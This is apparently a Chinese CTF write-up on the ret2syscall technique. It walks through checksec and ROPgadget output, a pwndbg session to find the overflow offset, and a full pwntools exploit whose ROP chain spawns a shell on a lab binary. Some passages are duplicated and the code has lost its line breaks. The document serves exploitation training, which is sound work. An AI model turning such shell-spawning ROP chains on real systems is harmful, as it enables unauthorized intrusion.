1.题目信息
链接：https://pan.baidu.com/s/19ymHlZZmVGsJHFmmlwww0w 提取码：r4el 首先checksec 看一下保护机制
2.原理
ret2syscall 即控制程序执行系统调用来获取 shell 什么是系统调用？
- 操作系统提供给用户的编程接口
- 是提供访问操作系统所管理的底层硬件的接口
- 本质上是一些内核函数代码，以规范的方式驱动硬件
- x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用 mov eax, 0xb mov ebx, [“/bin/sh”] mov ecx, 0 mov edx, 0 int 0x80 => execve("/bin/sh",NULL,NULL)
3.解题分析
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# chmod +x ret2syscall
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# checksec ./ret2syscall
[*] '/ctf/work/how2heap/ret2syscall/ret2syscall'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
root@pwn_test1604:/ctf/work/how2heap/ret2syscall#
3.1 使用ida打开分析
gets函数存在明显的栈溢出，但是这次没有后门函数，NX防护也打开了，那么就要换一种套路了，通过系统调用拿到shell 我们需要控制eax，ebx，ecx，edx的值，可以使用ROPgadget这个工具帮我们找到所需的代码片段。
3.2 首先寻找控制 eax 的 gadgets ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
3.3 然后寻找控制ebx的 ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'，其中红色框框圈出来的能让我们控制余下的寄存器，就不用再接着找了
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
3.4 接着寻找程序中有没有int 80指令，ROPgadget --binary ret2syscall --only 'int'
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfcUnique gadgets found: 4
3.5 最后我们还需要找到一个字符串/bin/sh，ROPgadget --binary ret2syscall --string '/bin/sh'
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
root@pwn_test1604:/ctf/work/how2heap/ret2syscall#
3.6 这样我们就可以构造0xb的系统调用，具体要溢出多少字节可以使用gdb动态调试获取， gdb ret2syscall b main（在main函数下断点） r（让程序跑起来） n（单步执行） 一直走到gets函数输入字符串AAAAAAAA
3.7 然后使用stack 35命令查看栈内容
pwndbg> r
Starting program: /ctf/work/how2heap/ret2syscall/ret2syscall Breakpoint 1, main () at rop.c:8
8 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x1EBX 0x80481a8 (_init) ◂— push ebxECX 0x1c872072EDX 0xffffd714 —▸ 0x80481a8 (_init) ◂— push ebxEDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80edd40 ◂— 0x0EIP 0x8048e2d (main+9) ◂— mov eax, dword ptr [0x80ea4c0]
─────────────────────────────────[ DISASM ]──────────────────────────────────► 0x8048e2d <main+9> mov eax, dword ptr [stdout] <0x80ea4c0>0x8048e32 <main+14> mov dword ptr [esp + 0xc], 00x8048e3a <main+22> mov dword ptr [esp + 8], 20x8048e42 <main+30> mov dword ptr [esp + 4], 00x8048e4a <main+38> mov dword ptr [esp], eax0x8048e4d <main+41> call setvbuf <0x804f960>0x8048e52 <main+46> mov eax, dword ptr [stdin] <0x80ea4c4>0x8048e57 <main+51> mov dword ptr [esp + 0xc], 00x8048e5f <main+59> mov dword ptr [esp + 8], 10x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80edd40 ◂— 0x0
01:0004│ 0xffffd674 ◂— 0x0
... ↓
03:000c│ 0xffffd67c —▸ 0x80cf999 ◂— add byte ptr [eax], al
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e2d main+9f 1 804907a __libc_start_main+458
Breakpoint main
pwndbg> n
9 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x0EBX 0x80481a8 (_init) ◂— push ebxECX 0x0EDX 0x80eb4d4 (_IO_stdfile_1_lock) ◂— 0x0EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80ea200 (_IO_2_1_stdout_) ◂— 0xfbad2087EIP 0x8048e52 (main+46) ◂— mov eax, dword ptr [0x80ea4c4]
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e32 <main+14> mov dword ptr [esp + 0xc], 00x8048e3a <main+22> mov dword ptr [esp + 8], 20x8048e42 <main+30> mov dword ptr [esp + 4], 00x8048e4a <main+38> mov dword ptr [esp], eax0x8048e4d <main+41> call setvbuf <0x804f960>► 0x8048e52 <main+46> mov eax, dword ptr [stdin] <0x80ea4c4>0x8048e57 <main+51> mov dword ptr [esp + 0xc], 00x8048e5f <main+59> mov dword ptr [esp + 8], 10x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax0x8048e72 <main+78> call setvbuf <0x804f960>
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80ea200 (_IO_2_1_stdout_) ◂— 0xfbad2087
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x2
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e52 main+46f 1 804907a __libc_start_main+458
pwndbg> n
13 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x0EBX 0x80481a8 (_init) ◂— push ebxECX 0x0EDX 0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0x0EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80ea360 (_IO_2_1_stdin_) ◂— 0xfbad2288EIP 0x8048e77 (main+83) ◂— mov dword ptr [esp], 0x80be410
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e57 <main+51> mov dword ptr [esp + 0xc], 00x8048e5f <main+59> mov dword ptr [esp + 8], 10x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax0x8048e72 <main+78> call setvbuf <0x804f960>► 0x8048e77 <main+83> mov dword ptr [esp], 0x80be4100x8048e7e <main+90> call puts <0x804f7e0>0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80ea360 (_IO_2_1_stdin_) ◂— 0xfbad2288
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e77 main+83f 1 804907a __libc_start_main+458
pwndbg> n
This time, no system() and NO SHELLCODE!!!
14 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x2bEBX 0x80481a8 (_init) ◂— push ebxECX 0x80eb4d4 (_IO_stdfile_1_lock) ◂— 0x0EDX 0x2bEDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80be410 ◂— push esp /* 'This time, no system() and NO SHELLCODE!!!' */EIP 0x8048e83 (main+95) ◂— mov dword ptr [esp], 0x80be43b
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax0x8048e72 <main+78> call setvbuf <0x804f960>0x8048e77 <main+83> mov dword ptr [esp], 0x80be4100x8048e7e <main+90> call puts <0x804f7e0>► 0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax0x8048e96 <main+114> call gets <0x804f650>0x8048e9b <main+119> mov eax, 0
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80be410 ◂— push esp /* 'This time, no system() and NO SHELLCODE!!!' */
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e83 main+95f 1 804907a __libc_start_main+458
pwndbg> n
What do you plan to do?
15 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x18EBX 0x80481a8 (_init) ◂— push ebxECX 0x80eb4d4 (_IO_stdfile_1_lock) ◂— 0x0EDX 0x18EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80be43b ◂— push edi /* 'What do you plan to do?' */EIP 0x8048e8f (main+107) ◂— lea eax, [esp + 0x1c]
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e72 <main+78> call setvbuf <0x804f960>0x8048e77 <main+83> mov dword ptr [esp], 0x80be4100x8048e7e <main+90> call puts <0x804f7e0>0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>► 0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax0x8048e96 <main+114> call gets <0x804f650>0x8048e9b <main+119> mov eax, 00x8048ea0 <main+124> leave 0x8048ea1 <main+125> ret
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80be43b ◂— push edi /* 'What do you plan to do?' */
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e8f main+107f 1 804907a __libc_start_main+458
pwndbg> n
AAAAAAAA
17 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0xffffd68c ◂— 'AAAAAAAA'EBX 0x80481a8 (_init) ◂— push ebxECX 0xfbad2288EDX 0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0x0EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'EIP 0x8048e9b (main+119) ◂— mov eax, 0
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax0x8048e96 <main+114> call gets <0x804f650>► 0x8048e9b <main+119> mov eax, 00x8048ea0 <main+124> leave 0x8048ea1 <main+125> ret ↓0x804907a <__libc_start_main+458> mov dword ptr [esp], eax0x804907d <__libc_start_main+461> call exit <0x804e740>0x8049082 <__libc_start_main+466> call _dl_discover_osversion <0x80700b0>
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ eax 0xffffd68c ◂— 'AAAAAAAA'
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e9b main+119f 1 804907a __libc_start_main+458
pwndbg> stack 35
00:0000│ esp 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ eax 0xffffd68c ◂— 'AAAAAAAA'
... ↓
09:0024│ 0xffffd694 —▸ 0xffffd700 ◂— 0x1
0a:0028│ 0xffffd698 ◂— 0x80000
0b:002c│ 0xffffd69c —▸ 0x8048c1f (init_cacheinfo+319) ◂— mov esi, eax
0c:0030│ 0xffffd6a0 ◂— 0x28 /* '(' */
0d:0034│ 0xffffd6a4 ◂— 0x10
0e:0038│ 0xffffd6a8 —▸ 0x80e9f44 —▸ 0x80eaea0 (_nl_global_locale) —▸ 0x80c3ae0 (_nl_C_LC_CTYPE) —▸ 0x80d15fc (_nl_C_name) ◂— ...
0f:003c│ 0xffffd6ac —▸ 0x8048e03 (frame_dummy+35) ◂— mov eax, dword ptr [0x80e9f64]
10:0040│ 0xffffd6b0 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc al, 0
11:0044│ 0xffffd6b4 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│ 0xffffd6b8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
13:004c│ 0xffffd6bc ◂— 0x1
14:0050│ 0xffffd6c0 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
15:0054│ 0xffffd6c4 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
16:0058│ 0xffffd6c8 ◂— 0x1
17:005c│ 0xffffd6cc —▸ 0x8049612 (__libc_csu_init+130) ◂— add ebp, 1
18:0060│ 0xffffd6d0 ◂— 0x1
19:0064│ 0xffffd6d4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1a:0068│ 0xffffd6d8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1b:006c│ 0xffffd6dc ◂— 0x2
1c:0070│ 0xffffd6e0 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│ 0xffffd6e4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1e:0078│ 0xffffd6e8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1f:007c│ 0xffffd6ec —▸ 0x80481a8 (_init) ◂— push ebx
20:0080│ 0xffffd6f0 ◂— 0x0
21:0084│ 0xffffd6f4 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4]
22:0088│ ebp 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
pwndbg>
pwndbg> stack 35
00:0000│ esp 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ eax 0xffffd68c ◂— 'AAAAAAAA'
... ↓
09:0024│ 0xffffd694 —▸ 0xffffd700 ◂— 0x1
0a:0028│ 0xffffd698 ◂— 0x80000
0b:002c│ 0xffffd69c —▸ 0x8048c1f (init_cacheinfo+319) ◂— mov esi, eax
0c:0030│ 0xffffd6a0 ◂— 0x28 /* '(' */
0d:0034│ 0xffffd6a4 ◂— 0x10
0e:0038│ 0xffffd6a8 —▸ 0x80e9f44 —▸ 0x80eaea0 (_nl_global_locale) —▸ 0x80c3ae0 (_nl_C_LC_CTYPE) —▸ 0x80d15fc (_nl_C_name) ◂— ...
0f:003c│ 0xffffd6ac —▸ 0x8048e03 (frame_dummy+35) ◂— mov eax, dword ptr [0x80e9f64]
10:0040│ 0xffffd6b0 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc al, 0
11:0044│ 0xffffd6b4 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│ 0xffffd6b8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
13:004c│ 0xffffd6bc ◂— 0x1
14:0050│ 0xffffd6c0 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
15:0054│ 0xffffd6c4 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
16:0058│ 0xffffd6c8 ◂— 0x1
17:005c│ 0xffffd6cc —▸ 0x8049612 (__libc_csu_init+130) ◂— add ebp, 1
18:0060│ 0xffffd6d0 ◂— 0x1
19:0064│ 0xffffd6d4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1a:0068│ 0xffffd6d8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1b:006c│ 0xffffd6dc ◂— 0x2
1c:0070│ 0xffffd6e0 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│ 0xffffd6e4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1e:0078│ 0xffffd6e8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1f:007c│ 0xffffd6ec —▸ 0x80481a8 (_init) ◂— push ebx
20:0080│ 0xffffd6f0 ◂— 0x0
21:0084│ 0xffffd6f4 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4]
22:0088│ ebp 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
f8 - 8c = 6c，再加上ebp的4个字节，总共需要填充0x70个字节到返回地址 最后成功利用的堆栈图如下
3.8 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import syscontext.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'DEBUG = 1LOCAL = True
BIN ='./ret2syscall'
HOST ='pwn2.jarvisoj.com'
PORT =9877
#HOST ='node5.buuoj.cn'
#PORT =29787def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)# pwn,caidan,leak,libc
# recv recvuntil send sendline sendlineafter sendafter
#aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab#shellcode = asm(shellcraft.sh())def exploit(p):pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90int_80 = 0x08049421bin_sh = 0x080be408pl = flat(['A' * 0x70, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_80])p.sendline(pl)p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)
3.9 运行结果
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# python ret2syscall1.py │ ESI 0x80ea360 (_IO_2_1_stdin_) ◂— 0xfbad2288
[DEBUG] '/ctf/work/how2heap/ret2syscall/ret2syscall' is statically linked, skipping GOT/PLT symbols │ EBP 0xff8584b8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
[DEBUG] '/ctf/work/how2heap/ret2syscall/ret2syscall' is statically linked, skipping GOT/PLT symbols │ ESP 0xff8583a8 —▸ 0xff8584b8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
[*] '/ctf/work/how2heap/ret2syscall/ret2syscall' │ EIP 0xf7fcf589 (__kernel_vsyscall+9) ◂— pop ebpArch: i386-32-little │───────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────RELRO: Partial RELRO │ ► 0xf7fcf589 <__kernel_vsyscall+9> pop ebpStack: No canary found │ 0xf7fcf58a <__kernel_vsyscall+10> pop edxNX: NX enabled │ 0xf7fcf58b <__kernel_vsyscall+11> pop ecxPIE: No PIE (0x8048000) │ 0xf7fcf58c <__kernel_vsyscall+12> ret
[+] Starting local process './ret2syscall': pid 114 │ ↓
[*] PID: 114 │ 0x806d0b2 <__read_nocancel+24> pop ebx
